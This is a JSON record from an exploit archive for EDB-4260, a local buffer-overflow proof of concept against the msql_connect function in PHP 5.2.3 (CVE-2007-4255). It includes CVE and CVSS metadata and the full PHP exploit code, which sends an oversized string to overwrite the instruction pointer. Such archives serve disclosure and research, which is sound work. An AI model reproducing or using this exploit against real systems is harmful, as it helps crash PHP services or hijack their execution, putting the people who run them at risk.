{"exploit":{"id":"EDB-4260","name":"PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)","description":"PHP mSQL (msql_connect) - Local Buffer Overflow (PoC)","cves":["CVE-2007-4255"],"author":"NetJackal","published":"2007-08-06","platform":"multiple","type":"dos","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4260","path":"exploits/multiple/dos/4260.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4260.php","vulnerabilities":[{"id":"CVE-2007-4255","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the mSQL extension in PHP 5.2.3 allows context-dependent attackers to execute arbitrary code via a long first argument to the msql_connect function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-4255","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-4255"},"updatedAt":"2024-08-07T14:46:39.402Z","retrievedAt":"2026-11-27T09:44:11.615Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4260.png?v=2","url":"https://exploitbin.com/exploits/EDB-4260","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4260/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4260/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\n##########################################################\n###----------------------------------------------------###\n###----PHP mSQL (msql_connect) Buffer Overflow PoC-----###\n###----------------------------------------------------###\n###-Tested on 5.2.3 (XP SP2)---------------------------###\n###----------------------------------------------------###\n###-Author:--NetJackal---------------------------------###\n###-Email:---nima_501[at]yahoo[dot]com-----------------###\n###-Website:-http://netjackal.by.ru--------------------###\n###----------------------------------------------------###\n##########################################################\n\nif(!function_exists('msql_connect'))\ndie('mSQL extension is not available');\n\n#msql_pconnect(str_repeat('A',49424).'BBBB');\n\nmsql_connect(str_repeat('A',49424).'BBBB'); # EIP => 42424242\n\n?>\n\n# milw0rm.com [2007-08-06]","sha256":"7be59faca0f5db24d62f89cc62563927b18898523b59fcabe82ec8edd7d154ac","bytes":875,"fetchedAt":"2026-11-27T13:09:49.841Z","encoding":"utf-8 (display only; download retains original bytes)"}